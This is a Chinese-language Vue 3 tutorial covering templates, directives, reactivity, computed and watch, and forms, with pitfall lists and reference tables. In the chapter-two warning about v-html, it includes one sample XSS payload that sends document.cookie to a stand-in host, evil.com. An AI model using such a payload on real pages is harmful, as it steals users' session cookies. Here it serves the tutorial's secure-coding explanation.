这门课的顺序是「先能跑,再讲透」:第一到第七章过完模板与响应式这些语法地基,第八到第十一章讲组件之间怎么配合,第十二到第十四章处理生命周期与逻辑复用,第十五、十六章把状态和路由接上,第十七章做一个完整的待办清单,最后两章回到工程化与坑的汇总。每一章结尾都有「⚠️ 本章的坑」和速查表,日后当参考书查就直接翻这两块。
关于版本:本教程基于 Vue 3.5(示例里的运行时是 3.5.43)。页面里的示例用的是「不带构建工具」的引入方式(一个 <script> 标签 + 模板字符串),因为它能直接在浏览器里跑起来;实际项目里写的是单文件组件(.vue),两者的对应关系在第十八章专门列了一张表。语法本身是同一套,只是挂载方式不同。
一、Vue 是什么:从手动改 DOM 到声明式渲染
写页面时最累的不是画布局,而是「数据变了要记得改界面」。手动改 DOM 的写法,数据和界面是两份东西,改一处漏一处,界面就和真实状态对不上了。
Vue 解决的就是这件事:你只描述「界面在给定数据下应该长什么样」,数据一变,Vue 自己算出该改哪几个节点。响应式 + 模板这两件事合起来就是 Vue 的全部核心,后面的组件、路由、状态管理都是在此基础上做组织。
它自称「渐进式框架」,意思是你可以只借用其中一小块:
| 用法 | 引入方式 | 适合 |
|---|---|---|
| 在已有 HTML 里增强 | 一个 <script> 标签引入全局构建,页面里直接写模板 | 后台管理页的某个表单、老项目加个交互组件 |
| 单文件组件(最常见) | Vite + npm create vue@latest,代码写在 .vue 文件里 | 独立的前端项目 |
| 全栈框架 | Nuxt(本项目的姊妹篇教程) | 需要 SEO、首屏速度、服务端渲染的站点 |
第一个例子:三种写法对照
浏览器里跑起来的最小写法,页面里先放一个容器,再挂一个应用:
<div id="app">{{ message }}</div>
<script src="https://unpkg.com/vue@3/dist/vue.global.js"></script>
<script>
Vue.createApp({
setup() {
const message = Vue.ref('你好,Vue')
return { message }
}
}).mount('#app')
</script>
同一个例子写成单文件组件(.vue),就是实际项目里的样子:
<script setup>
import { ref } from 'vue'
const message = ref('你好,Vue')
</script>
<template>
<div>{{ message }}</div>
</template>
除了 import 和 <template> 标签,逻辑完全一样:还是 ref、还是那个变量名。初学时网上会看到两种不同的代码风格,别慌,它们是同一个东西的两种外衣。
组合式 API 与选项式 API
Vue 2 时代只有「选项式」:把代码按 data / methods / computed / mounted 这些选项塞进一个大对象。Vue 3 新增了「组合式」(Composition API):在 setup()(或 <script setup>)里按功能组织代码,一个功能的响应式数据、计算属性、副作用写在一起。
// 选项式:同一个功能的代码被拆到三个选项里
export default {
data() { return { count: 0 } },
computed: { double() { return this.count * 2 } },
mounted() { console.log(this.count) }
}
// 组合式:一个功能从头到尾连着写
import { ref, computed, onMounted } from 'vue'
const count = ref(0)
const double = computed(() => count.value * 2)
onMounted(() => console.log(count.value))
本教程以组合式为主线(新项目、Nuxt、官方文档示例都是它),每章末尾会给出选项式的对应写法,读懂老代码也够用。两者可以混用,但一个组件里最好只用一种。
挂载:createApp 与 mount 的关系
const app = Vue.createApp(RootComponent) // 创建应用实例,此时什么都还没渲染
app.component('MyBadge', MyBadge) // 全局注册组件
app.directive('focus', { mounted: (el) => el.focus() })
app.config.errorHandler = (err) => console.error(err)
app.mount('#app') // 到这里才真的往 DOM 里画
app.unmount() // 卸载(对应 DOM 被清空)
三个容易忽略的点:mount 之前页面里的 {{ message }} 是原样显示的(模板还没被编译);一个页面可以有多个互不相干的 createApp 实例;app.component 之类的注册必须在 mount 之前完成。
示例 01 左右两栏是同一个计数:左边点「+1(忘了同步)」,数据变了界面不动——这就是没有框架时的日常;右边只改数据,界面里的数字和那句 v-if 的话自己冒出来。
⚠️ 本章的坑
1. 挂载目标必须先存在于 DOM。 mount('#app') 时页面里没有 id="app",Vue 直接报 Failed to mount app: mount target not found。脚本放在 <head> 里、或者放在容器元素之前,都会撞上。把脚本放在 </body> 前,或给 <script> 加 defer。
2. 浏览器里写 in-DOM 模板,标签名和属性名会被转成小写。 <UserCard userName="a"> 在 HTML 里会被解析成 usercard + username,组件找不到、props 收不到。浏览器里请写 kebab-case:<user-card user-name="a">;.vue 文件里没这个限制(这也是示例用模板字符串的原因)。
3. {{ }} 会先在页面上闪一下。 因为 HTML 已经渲染、Vue 还没挂载。用 v-cloak + [v-cloak]{display:none},或者把脚本放前面。
4. 引入 vue.global.js(开发版)和 vue.global.prod.js(生产版)差别很大。 类型警告、性能提示只有开发版会打印;生产版为了体积把这些都剥掉了。学习阶段一律用开发版,别把「没报错」当成「没写错」。
5. 多个 createApp 之间不共享注册。 在 app1 上 component() 注册过的组件,app2 里用不了,会报 Unknown custom element。需要共享就用插件(app.use())或干脆只有一个根应用。
6. setup() 里不能用 this。 组合式在 this 绑定之前执行;<script setup> 更是根本没有 this。要从选项式转过来,把 this.xxx 全换成局部变量。
附:两套 API 风格对照速查
| 要做的事 | 组合式(本教程用法) | 选项式(老代码里常见) |
|---|---|---|
| 声明响应式数据 | const n = ref(0) | data() { return { n: 0 } } |
| 计算属性 | const d = computed(() => n.value * 2) | computed: { d() { return this.n * 2 } } |
| 监听 | watch(n, cb) | watch: { n: cb } |
| 挂载后执行 | onMounted(cb) | mounted() {} |
| 卸载前清理 | onBeforeUnmount(cb) | beforeUnmount() {} |
| 方法 | 普通函数 function add() {} | methods: { add() {} } |
| 注册组件 | import X from './X.vue'(<script setup> 自动可用) | components: { X } |
二、模板语法:插值、动态属性与表达式的边界
模板 = HTML + 两样东西:{{ }} 插值 和 v-xxx 指令。它不是「在 HTML 里写 JS」,能放的位置和能写的表达式都有边界,越界要么编译失败,要么行为和你预期相反。
插值:{{ }} 是转义的,v-html 不是
<template>
<p>{{ msg }}</p> <!-- 内容是字符串就原样显示,HTML 标签被转义 -->
<p v-html="msg"></p> <!-- 内容被当成 HTML 解析 -->
<p>{{ count + 1 }}</p> <!-- 表达式 -->
<p>{{ ok ? '可用' : '禁用' }}</p> <!-- 三元 -->
<p>{{ list.length }}</p> <!-- 属性访问 -->
<p>{{ msg.split('').reverse().join('') }}</p> <!-- 方法调用链 -->
</template>
一条铁律:v-html 永远不要用在用户输入上。它不做转义,用户贴一段 <img src=x onerror="fetch('//evil.com?c='+document.cookie)"> 就在你的页面里执行了(XSS)。要做富文本渲染,先把内容净化(DOMPurify 一类),或者只显示纯文本。
动态属性:v-bind 与它的缩写 :
给属性绑定值必须加 v-bind,否则拿到的是字符串字面量:
<a :href="url">链接</a> <!-- url 变量的值 -->
<a href="url">链接</a> <!-- 字符串 "url",十有八九是 bug -->
<img :src="src" :alt="alt">
<input :value="text" :disabled="isLoading">
<div :id="domId" :data-index="i">
三个细节值得记住:
- 布尔属性用
:disabled="false"才会真的移除该属性;写disabled="false"反而等于启用(HTML 里有这个属性就是真)。 - 动态属性名用方括号:
:[attrName]="value",attrName里放变量。 - 一次性绑多个属性:
v-bind="{ a: 1, b: 2 }"或直接v-bind="obj",组件里常用于把$attrs透传下去。
能写表达式,不能写语句
{{ }} 和指令的值位置只接受表达式(能算出一个值的东西)。if、for、while、var/let 声明、多条语句用分号串起来,这些都不行:
<p>{{ if (a) { 'x' } }}</p> ✗ 语句,编译报错
<p>{{ a > 1 ? 'x' : 'y' }}</p> ✓ 三元表达式
<p>{{ list.filter(x => x.ok) }}</p> ✓ 但要短,长了就挪进 computed
判断标准很简单:写两行以上逻辑、或者要用到别的响应式变量的中间结果,就别塞在模板里,挪去 computed(第五章)。模板里堆长表达式,日后没人愿意读,也无法单测。
表达式里能直接用什么
模板表达式在一个受限的沙箱里执行。可以直接用的有:组件自身 setup 返回的变量、Math、Date、JSON、parseInt、parseFloat 等一小撮全局白名单,以及全局属性(app.config.globalProperties)。
不能直接用的:import、require、process、localStorage、你自己的工具函数。想用工具函数有两种路子——import 进来再 return(或 <script setup> 里直接 import 就可用),或者封装成全局属性/组合式函数。
<script setup>
import { formatDate } from '@/utils/date' // <script setup> 里 import 完模板就能用
</script>
<template>
<span>{{ formatDate(created) }}</span>
</template>
Vue 2 的过滤器语法 {{ price | currency }} 在 Vue 3 里已删除,替代品就是 computed 或方法调用。接手老代码时全局搜 | 插值是最快的一刀。
⚠️ 本章的坑
1. {{ }} 里写了语句,整个组件白屏。 模板编译错误在开发版是醒目的报错,生产版可能只剩一句 Property or method ... is not defined。别靠猜,看到空白先去控制台第一行找 error compiling template。
2. 属性大小写。 :userName 在浏览器 in-DOM 模板里变成 :username,props 收不到值。模板里请统一 kebab-case。
3. 自闭合标签只在 .vue 里合法。 <user-card /> 在浏览器解析的 HTML 里会被当成「开始标签没结束」,把后面的内容全吞进它的插槽。页面里写模板时老实补上 </user-card>。
4. v-html 里不能用插值。 内容被当作 HTML 片段处理,{{ }} 不再解析——很多人在这卡半小时。要混用就拆开写:<p>前缀 <span v-html="html"></span></p>。
5. :src="null" 不等于「不显示」。 属性值为 null/undefined 时会被移除,但 '' 会保留成 src="",浏览器会按当前页面 URL 请求一次图片,控制台出现诡异的 404。要么 v-if 控制渲染,要么给一个真实占位图。
6. 数字字符串的坑。 :count="1" 传的是数字,count="1" 传的是字符串 "1"。组件里做 props.count > 1 时后者会意外成立/失败,靠 props 类型校验(第九章)把这类问题挡在开发版。
7. 自定义插号分隔符在 Vue 3 被移除。 老代码里的 delimiters: ['${', '}'](为了兼容后端模板)在 Vue 3 不存在了,改用 v-text 或者转义后端标签。
附:模板语法速查
| 想做的事 | 写法 | 备注 |
|---|---|---|
| 输出文本 | {{ msg }} | 自动转义,安全 |
| 输出 HTML | v-html="msg" | 有 XSS 风险,别用于用户输入 |
| 绑定属性 | :href="url" | v-bind: 的缩写 |
| 动态属性名 | :[name]="value" | 方括号里是变量 |
| 一次绑多属性 | v-bind="obj" | 常配 $attrs |
| 布尔属性 | :disabled="isOff" | 值为假时移除属性 |
| 条件渲染 | v-if / v-else-if / v-else | 假时节点不存在 |
| 切换显示 | v-show | 节点在,只是 display:none |
| 列表 | v-for="item in list" :key="item.id" | key 必填(第十一章) |
| 事件 | @click="doIt" | v-on: 的缩写 |
| 表单双向 | v-model="text" | 第六章 |
| 插槽 | <slot> / #name / v-slot | 第十章 |
| 只渲染一次 | v-once | 静态内容提速 |
| 跳过编译 | v-pre | 展示模板代码时必用 |
| 挂载前隐藏 | v-cloak | 配合 CSS 防闪烁 |
三、指令:条件、循环、事件与动态参数
指令就是模板里的「特殊属性」,以 v- 开头,告诉 Vue「对这个元素做点什么」。统一结构:
v-name:argument.modifier1.modifier2="expression"
│ │ │ │
指令 参数 修饰符 表达式(不能是语句)
看三个例子就能对上号:v-on:click.stop="close"(事件指令 + 参数 click + 修饰符 stop)、v-bind:href="url"(属性绑定)、v-slot:header(插槽具名)。v-on: 和 v-bind: 用得最多,所以有缩写 @click 和 :href;v-slot: 的缩写是 #header。
条件:v-if 与 v-show 选哪个
v-if | v-show | |
|---|---|---|
| 假的时元素 | 不在 DOM 里 | 在 DOM 里,style="display:none" |
| 切换开销 | 销毁/重建,有子组件生命周期 | 只改一个 CSS 属性 |
| 初始开销 | 假时完全不渲染,几乎为零 | 一样要渲染 |
支持 <template> 分组 | 支持 | 不支持(需要真实元素) |
| 适合 | 很少切换、初始就该省掉 | 频繁切换(tab 面板、下拉展开) |
v-else / v-else-if 必须紧跟在上一个 v-if 元素之后(中间只能有空格和 HTML 注释),否则 Vue 找不到配对、直接报错。
循环、事件、绑定:一次看全
<template>
<li v-for="(user, i) in users" :key="user.id">{{ i + 1 }}. {{ user.name }}</li>
<button @click="count++">计数 {{ count }}</button>
<form @submit.prevent="onSubmit"> <!-- .prevent 拦住默认提交 -->
<input v-model="q" @keyup.enter="search"> <!-- 按键修饰符 -->
</form>
<div :class="{ panel: true, active: isOpen }" :style="{ height: h + 'px' }">
<p v-show="isOpen">内容</p>
<p v-text="msg"></p> <!-- 等价于 {{ msg }},但会被 innerText 覆盖 -->
<p v-pre>这里的 {{ code }} 原样显示</p> <!-- 展示模板代码专用 -->
</div>
</template>
内置指令一共十几个,完整清单在本章末尾的速查表里。这里只强调三个不常被注意的:
v-cloak:配合[v-cloak]{display:none}解决挂载前的{{ }}闪烁。v-once:元素渲染一次后不再更新,用于纯静态内容(省下一遍 diff)。v-memo:v-memo="[依赖项]",依赖不变时跳过整棵子树更新,是长列表的兜底加速手段(第十一章有场景)。
自定义指令:给元素挂点「行为」
组件解决「一块界面」,指令解决「某个元素上的 DOM 行为」(聚焦、拖拽、埋点、水波纹)。
// 全局注册
app.directive('focus', {
mounted(el) { el.focus() }
})
// 组件内局部注册(组合式里用 vFocus,模板里仍写 v-focus)
const vFocus = { mounted: (el) => el.focus() }
<input v-focus>
<div v-track:click="'首页按钮'">带参数和修饰符也行</div>
钩子按用途挑:只在挂载时干一次用 mounted;每次更新都要同步 DOM 用 updated;需要区分「值变了」和「组件重渲染」用带 oldValue 的 beforeUpdate/updated;卸载清理用 unmounted。指令里不要写业务逻辑、不要去改响应式数据——它只负责「对这个 DOM 元素做操作」。
示例 03 里可以直接数 DOM 节点:v-if 关掉时元素真的没了,v-show 关掉时它只是被 display:none 藏起来;第三块能看到冒泡链路(不加 .stop 会先 inner 后 outer)。
⚠️ 本章的坑
1. 指令的值必须是表达式,且不能声明变量。 v-if="const a = 1"、v-for="let x of list" 都编译失败。想要中间变量就用 computed。
2. v-if 和 v-for 写在同一个元素上。 Vue 3 里 v-if 优先级更高,它会先执行——此时 v-for 的 item 还不存在,报 item is not defined。解法三条(第十一章细讲):把 v-if 挪到外层 <template>、用 computed 先过滤、或把循环体拆成子组件。这是 Vue2 升级到 Vue3 最常见的报错来源之一。
3. v-show 不能用在 <template> 或组件上。 它需要一个能改 style 的真实元素;组件是多根时也没地方落。
4. 自定义指令加在组件上时,只有单根组件生效。 它拿不到组件内部元素,会尝试落到根元素;多根(fragment)时直接警告并失效。
5. 动态参数里别放空格、大写或复杂表达式。 :[name] 里的 name 求值结果若是 undefined,整个绑定属性会被移除(有时是你想要的,有时是漏配的 bug)。浏览器 in-DOM 模板里动态参数还会遇到大小写转换问题。
6. 修饰符顺序有意义。 @click.stop.prevent 与 @click.prevent.stop 都能工作,但 @click.self.stop 里 .self 会先做判断,后面的处理函数可能根本不执行。想搞清先后就照官方文档顺序读,别猜。
7. 拼错指令名不会报错,只会「什么都没发生」。 v-onClck、v-modle 这类拼写错误 Vue 不会拦(开发版有 v-modle 的提示,但不覆盖全部),排查时先 grep 一遍 v- 开头的属性名。
附:内置指令速查表
| 指令 | 作用 | 典型写法 |
|---|---|---|
v-text / v-html | 设置 textContent / innerHTML | v-text="msg" |
v-show | 切换 display | v-show="isOpen" |
v-if / v-else-if / v-else | 条件渲染(增删节点) | v-else-if="n > 3" |
v-for | 列表/对象/数字/字符串遍历 | v-for="(v, k) in obj" :key="k" |
v-on (@) | 监听事件,支持修饰符 | @keyup.esc="close" |
v-bind (:) | 绑定属性/props/样式/class | :class="clsObj" |
v-model | 表单/组件双向绑定 | v-model.trim="q" |
v-slot (#) | 插槽 | #header="{ title }" |
v-pre | 跳过该元素及其子树的编译 | 展示模板代码 |
v-cloak | 挂载完成前保留该属性 | 配合 CSS 防闪烁 |
v-once | 只渲染一次 | 纯静态块 |
v-memo | 依赖不变时跳过子树更新 | v-memo="[row.id]" |
| 事件修饰符 | 等价于 |
|---|---|
.stop | event.stopPropagation() |
.prevent | event.preventDefault() |
.capture | 用捕获阶段监听 |
.self | 只有 event.target 是自己时才触发 |
.once | 只触发一次 |
.passive | { passive: true },滚动不阻塞(不能同时 .prevent) |
.keyup.enter / .esc / .tab / .space / .up … | 按键名/系统别名 |
.left / .right / .middle | 鼠标按键 |
四、ref 与 reactive:响应式对象的入口
响应式的原理值得知道一句:Vue 3 用 Proxy 代理对象,「读」的时候记录谁在用这个属性,「写」的时候通知这些使用者重新渲染。这条机制决定了两件事——基本类型没法被代理(所以要有 ref),以及代理对象一旦被替换或解构,链路就断了(所以有那一堆坑)。
ref:一切的入口
<script setup>
import { ref } from 'vue'
const count = ref(0) // 返回 { value: 0 } 这样的「引用对象」
const user = ref({ name: '阿蓝' }) // 也能装对象/数组
</script>
<template>
<p>{{ count }}</p> <!-- 模板里自动解包,不用写 .value -->
<button @click="count++">+1</button> <!-- 模板里也能直接用(编译器加了 .value) -->
</template>
规则只有两条,但必须刻进肌肉记忆:
- 在 JS 里读写
ref必须带.value。count++不会报错(把一个对象当数字加),而是安静地变成NaN——示例 04 现场演示了这个瞬间。 - 在模板里不需要
.value(顶层 ref 自动解包)。例外:ref 藏在普通对象里时不解包,{{ obj.count.value }}得写全。
const state = { count: ref(0) } // ✗ 普通对象里的 ref 模板里要写 .value
const state = reactive({ count: ref(0) }) // ✓ reactive 对象内部的 ref 自动解包
reactive:对象专用,但有三个限制
const form = reactive({ name: '', tags: [], meta: { ver: 1 } })
form.name = '小青' // 不用 .value,直接改
form.tags.push('新') // 数组的 push/splice/索引赋值都能被捕获
reactive 的三条边界,第一条就淘汰掉了大部分「到处 reactive」的写法:
限制一:解构即失效。 const { name } = form 拿到的是普通字符串,之后 form.name = 'x' 它不会变。补救是 toRefs(form)(解构出来的每个字段仍是 ref)。
限制二:整体替换会断链。 form = reactive({ ... }) 把模板绑定的那个代理对象换掉了,界面停在旧值。要清空请写 Object.assign(form, newData),或者干脆用 ref 装整个对象(ref 允许重新赋值 .value)。
限制三:不能包装基本类型。 reactive(0)、reactive('a') 直接报错——这正是 ref 存在的理由。
实际项目的选择建议:默认全用 ref,需要一组高度内聚、整体传递的对象数据时再用 reactive。理由:ref 的规则统一(永远 .value),不会出现「解构后悄悄失效」这类难查的 bug,也便于 TS 推断。
局部跳过响应式:shallowRef、shallowReactive、markRaw、toRaw
大对象(ECharts 实例、地图数据、上千行的原始列表)全量代理既慢又没必要:
const chart = shallowRef(null) // 只有 .value 被替换时才触发更新
chart.value = newChart
triggerRef(chart) // 换了内部属性但想强制刷新时手动触发
const raw = markRaw(hugeConfig) // 永久标记为「不代理」,放进 reactive 也不转
const plain = toRaw(state) // 拿回 reactive 背后的原始对象(做深拷贝/存库时用)
const clone = JSON.parse(JSON.stringify(toRaw(state))) // 存 sessionStorage 的正路
数组列表性能场景还有个专门写法:shallowRef + 整体替换新数组(list.value = newList),比 ref 深代理省一大截开销。
示例 04 的四块面板分别演示:忘写 .value 的 NaN 现场、reactive 解构后失效与 toRefs 修复、reactive 整体替换后界面不动,以及 ref 装数组时 push 为什么能更新界面。
⚠️ 本章的坑
1. 解构 reactive 对象就丢响应性(最常见、最难查)。const { count } = state 之后改 state.count,界面不动也不报错。用 toRefs,或者从一开始就用 ref 存单个值。
2. props 的解构同理。 const { title } = defineProps([...]) 在 3.5 之前是「断掉响应」的写法;现在编译器会给出警告(Vue 3.5 props 解构是响应式安全的 属于新特性,老项目里务必确认版本)。拿不准就老实写 props.title。
3. 把 reactive 对象直接传给函数后重新赋值,外面看不到。 function reset(s) { s = {} } 只是改了局部变量。断链问题在传参、Object.assign 目标搞错时反复出现。
4. watch 一个 reactive 对象默认是深监听。 对象一大、嵌套一深,每次改动都全量遍历(第五章给省法)。
5. 存到 sessionStorage / 发给后端之前要 toRaw + 深拷贝。 JSON.stringify(reactive对象) 能工作,但里面若混了 ref 会多出 {"value": ...} 这种结构,接口对不上。
6. 模板里给 ref 赋的是 .value 的语义,写错类型会静默失败。 list.push(x) 对 ref([]) 是错的(list 是引用对象不是数组),要 list.value.push(x)。这类错误 Vue 不报,只在运行时炸出 push is not a function。
7. 别在循环里动态创建 ref。 for (const k of keys) refs[k] = ref(0) 这种写法本身合法,但随后放进 reactive 里再解构就会让你分不清手上拿的是 ref 还是值。列表状态请用一个 ref(数组),索引即位置(第十一章会讲为什么不能用 index 当 key)。
附:响应式 API 速查
| API | 用来装 | 解构安全 | 整体替换 | 典型场景 |
|---|---|---|---|---|
ref(v) | 任意值(含基本类型) | — | ✓(改 .value) | 默认选择 |
reactive(o) | 对象/数组 | ✗ 解构失效 | ✗ 断链 | 一组内聚的表单字段 |
shallowRef(v) | 大对象/实例 | — | ✓ | ECharts、地图、大列表 |
shallowReactive(o) | 对象(只代理第一层) | 部分 | ✗ | 表格行数据 |
toRef(o, 'k') | 从 reactive 里取一个字段 | ✓ | — | props 转发、组合式入参 |
toRefs(o) | 整个 reactive 展开成 ref 集 | ✓ | — | 组合式函数返回多个状态 |
markRaw(v) | 标记永不代理 | — | — | 第三方实例 |
toRaw(v) | 取回原始对象 | — | — | 深拷贝、序列化 |
triggerRef(r) | 手动触发 shallowRef 更新 | — | — | 深层修改后强制刷新 |
unref(v) / isRef(v) | 取值 / 判断 | — | — | 写通用工具函数 |
五、computed 与 watch:派生值要缓存,副作用要侦听
一句话选型:「界面要显示的一个值」用 computed,「数据变了之后要去干一件事」用 watch。 干的事指的是请求、埋点、操作 DOM、写 localStorage——这些不该出现在 computed 里。
computed:会缓存的派生值
<script setup>
import { ref, computed } from 'vue'
const list = ref([{ name: 'a', price: 10 }, { name: 'b', price: 20 }])
const keyword = ref('')
const total = computed(() => list.value.reduce((s, x) => s + x.price, 0))
const filtered = computed(() =>
list.value.filter(x => x.name.includes(keyword.value))
)
</script>
computed 与「直接在模板里调方法」的区别是缓存:依赖不变时读多少次都返回同一个结果,不会重新执行函数;方法调用则是每次渲染都跑一遍。示例 05 里有个计数器,连点「与计算无关」的按钮你能直观看到:方法版本调用次数一路上涨,computed 版本纹丝不动。
列表过滤、汇总、格式化这三类需求,几乎都该落在 computed 上(而不是 watch 里手动重算一份数据存起来——那会造出「两份数据要对齐」的新问题)。
可写 computed
const celsius = ref(25)
const fahrenheit = computed({
get: () => celsius.value * 9 / 5 + 32,
set: (v) => { celsius.value = (v - 32) * 5 / 9 }
})
给 v-model 指向一个「看起来是独立字段、其实是别的字段的换算」的场景非常顺手(示例 05 里两个输入框互相同步就是这个写法)。
watch:知道旧值,才能做增量
// ① 监听单个 ref
watch(keyword, (newV, oldV) => { log(`关键词 ${oldV} → ${newV}`) })
// ② 监听 reactive 的某个字段:必须写成 getter
const state = reactive({ count: 0 })
watch(() => state.count, (v) => { /* ... */ })
// ③ 监听多个来源
watch([a, b], ([av, bv]) => { /* ... */ })
// ④ 需要「深层」变化时显式开启
watch(() => state.list, (v) => { /* ... */ }, { deep: true })
// ⑤ 立即执行一次(否则第一次不触发)
watch(keyword, cb, { immediate: true })
// ⑥ 拿到 stop 函数手动停止(组件外创建的 watch 一定要停)
const stop = watch(source, cb)
// ... 不需要时
stop()
watch 的选项一共四个常用的:immediate(立即跑一次)、deep(深层遍历)、flush('pre' 默认,DOM 更新前;'post' 更新后,需要读 DOM 时用它;'sync' 同步执行,几乎不用来避免性能问题)、以及第三个参数返回值 onCleanup(见下)。
watchEffect:自动追踪,配合 onCleanup 做防抖
const query = ref('')
watchEffect((onCleanup) => {
const timer = setTimeout(() => search(query.value), 300)
onCleanup(() => clearTimeout(timer)) // 下次执行前 / 停止时自动调用
})
watchEffect 不需要声明监听谁,函数里读到的响应式都被记录。代价是可读性:依赖是隐式的,别人(和三个月后的你)看不出这段代码会在什么时机跑。项目里的实践约定是:只在「依赖多、且就是要跟着全部依赖走」时用,通常配合 onCleanup 处理订阅/定时器/请求取消。
示例 05 的第三块给出了一张「哪种改动触发了哪几个 watch」的矩阵——这一节的坑基本都在这张表里。
⚠️ 本章的坑
1. computed 里写副作用。 在 getter 里 emit、发请求、改别的 ref,会形成「渲染 → 改数据 → 再渲染」的循环,开发版报 Maximum recursive updates exceeded。派生就纯派生。
2. computed 里访问了「还没声明」的响应式变量。 const a = computed(() => b.value) 写在 const b = ref(0) 之前,首次求值时 b 是 undefined(TDZ 或直接报错)。顺序摆正,或者把 computed 放到依赖之后。
3. 监听 reactive 对象不写 getter,又忘了它是深监听。 watch(state, cb)(state 是 reactive)默认 deep: true,对象一大每次改动都全量遍历;而且由于引用没变,newV 和 oldV 是同一个对象,拿不到「旧值」。只关心某个字段就写 () => state.count。
4. 监听一个「对象引用」而不是内容。 watch(() => obj.data, cb),你在 cb 里改 obj.data 的字段而不是替换整个对象,就不会再触发。要么 deep,要么换成监听 () => obj.data.length 这类标量。
5. 忘停的 watch 是内存泄漏。 在组合式函数、插件、watch 于 setTimeout 回调里创建等「脱离组件实例」的场景创建的 watch,不会被自动回收。拿到返回的 stop 并在 onBeforeUnmount 里调用。
6. immediate: true 首次回调时依赖可能是空。 典型的翻车是首次就发请求,参数还是 undefined。要么先判空,要么把「初始化」单独写。
7. 异步 watch 的竞态。 watch(id, async () => { data.value = await fetchDetail(id.value) }):快速切换 id 时,先发的慢请求可能后返回,覆盖掉新数据。解法是本地一个「请求序号/最新 id」对比,或者用 onCleanup + AbortController 取消上一次请求。
8. flush: 'post' 才是读 DOM 的时机。 想在数据变化后读更新后的 DOM(比如滚动到底部),默认 'pre' 时机读到的是旧 DOM。更稳的做法是 nextTick()(第十二章)。
附:computed / watch / watchEffect 选择表
| 需求 | 用什么 | 理由 |
|---|---|---|
| 界面要显示一个算出来的值 | computed | 有缓存、纯函数、模板里读着舒服 |
值需要双向换算(可 v-model) | 可写 computed | get/set 成对写,不用手动同步 |
| 数据变了要发请求 / 写存储 / 埋点 | watch | 能拿旧值、能控制 deep/immediate |
| 依赖很多且都相关(搜索防抖) | watchEffect + onCleanup | 自动收集依赖,省去一长串监听列表 |
| 只想知道「渲染完成了」 | onUpdated / nextTick | 见第十二章,别用 watch 代替生命周期 |
watch 选项 | 默认 | 说明 |
|---|---|---|
immediate | false | 创建时立刻用当前值执行一次回调 |
deep | reactive 源为 true,其他 false | 深层遍历比较,代价随对象体积增长 |
flush | 'pre' | 'pre' 组件更新前 / 'post' 更新后(读 DOM) / 'sync' 同步 |
once(3.5+) | false | 触发一次后自动停止,替代手写 stop() |
六、事件处理与 v-model:表单是双向绑定的主战场
事件是「用户操作 → 数据变化」,v-model 是「数据 ⇄ 表单控件」双向同步。两者都写在模板里,规则却不太一样:@ 后面那串是「语句或表达式」,v-model 背后其实是两个绑定。
事件:@click 后面能写什么
<template>
<button @click="count++">自增</button> <!-- 内联表达式 -->
<button @click="add(2)">加 2</button> <!-- 内联调用,传自己的参数 -->
<button @click="onKey($event, 'save')">带 $event</button> <!-- 需要事件对象时显式写 $event -->
<button @click="submit">直接给函数引用</button> <!-- 参数是原生 event(或 emit 的载荷) -->
</template>
「写函数名」和「写函数名+括号」的差别很关键:@click="submit" 会把原生 event 当第一个参数传进去;@click="submit()" 则不传参。需要 event 又怕被别的东西污染,就显式写 $event。
function onKey(e, action) {
console.log(e.key, action) // e 是 KeyboardEvent
}
修饰符:省掉那些 e.stopPropagation()
<form @submit.prevent="onSubmit"> <!-- 阻止默认提交(页面刷新) -->
<div @click="outer">
<button @click.stop="inner">不冒泡</button> <!-- 只触发 inner -->
<button @click.self="outer">只有点自己才触发</button>
<button @click.capture="log">捕获阶段先走我</button>
<button @click.once="claim">只能点一次</button>
</div>
<input @keyup.enter="search" @keyup.esc="clear">
<div @touchmove.passive="onMove">滚动不阻塞</div> <!-- passive 里不能再 preventDefault -->
.passive 用来给移动端滚动优化(告诉浏览器你不会阻止默认行为);.prevent 与 .passive 冲突,同时写会收到警告。
v-model:各控件里存的到底是什么
v-model="x" 展开是 :value="x" + @input="x = $event.target.value"(组件上则是 modelValue + update:modelValue)。因为它是「语法糖」,不同控件下 x 的类型会不一样——这是本章最容易踩的地方,示例 06 把每种控件的当前值和类型实时打在旁边。
| 控件 | v-model 绑的值 | 说明 |
|---|---|---|
<input type="text"> / <textarea> | 字符串 | 输入即同步 |
<input type="checkbox">(单个) | 布尔 | 想绑别的值要用 true-value / false-value |
<input type="checkbox">(同组多个) | 数组 | 勾中的 value 被 push 进数组 |
<input type="radio"> | 被选中项的 value | 同一组共用一个 v-model |
<select> | 选中项的值 | 加 multiple 时是数组 |
<input type="date"> 等 | 字符串 | 格式由浏览器控件决定 |
<input v-model.number="age"> <!-- 尝试 parseFloat,失败保持原样 -->
<input v-model.trim="name"> <!-- change 时自动去首尾空格 -->
<input v-model.lazy="comment"> <!-- blur 才同步(长文本输入减少重渲染) -->
<input v-model="text" :value="text"> <!-- 别这么写:v-model 会覆盖 value -->
三个修饰符的行为细节:.number 遇到空串会留下 '' 而不是 0(校验时注意);.lazy 让同步发生在 change(失焦)而不是 input;.trim 与 .lazy 组合使用效果最好(失焦时才裁剪)。
事件与 v-model 的配合:表单校验最小可用版
<script setup>
import { reactive, computed } from 'vue'
const form = reactive({ name: '', age: '', agree: false })
const nameErr = computed(() => form.name.trim() ? '' : '姓名必填')
const canSubmit = computed(() => !nameErr.value && form.agree)
function submit() {
if (!canSubmit.value) return
// 提交逻辑:这里才真的发请求
}
</script>
<template>
<form @submit.prevent="submit">
<input v-model.trim="form.name" placeholder="姓名">
<p v-if="nameErr" class="err">{{ nameErr }}</p>
<input v-model.number="form.age" type="number" min="1" placeholder="年龄">
<input id="agree" v-model="form.agree" type="checkbox">
<label for="agree">同意条款</label>
<button type="submit" :disabled="!canSubmit">提交</button>
</form>
</template>
这段是「入门级表单」的标准形状:数据源只有一个(form),校验用 computed 派生,提交用 @submit.prevent。别在 watch 里再维护一份 errors 数据,那是「两份状态要对齐」的老问题。
⚠️ 本章的坑
1. v-model 会忽略控件上写死的 value / checked。 Vue 3 明确不允许在 v-model 上再用这些属性当初始值——初始值请到绑定的数据里给(ref('初始'))。想给 checkbox 绑自定义值用 true-value/false-value。
2. 单个 checkbox 上误用 value。 v-model="x" value="A"(x 是字符串)不会得到 'A',会得到布尔值。想收集多选项必须是「数组型 v-model」:v-model="arr" + 每个 input 带不同 value。
3. 组件标签上的 v-model 默认失效。 子组件没声明 modelValue props 也没 emit('update:modelValue') 时,输入界面有反应、父级数据纹丝不动。组件的 v-model 在第九章展开(一行 defineModel() 就能补齐)。
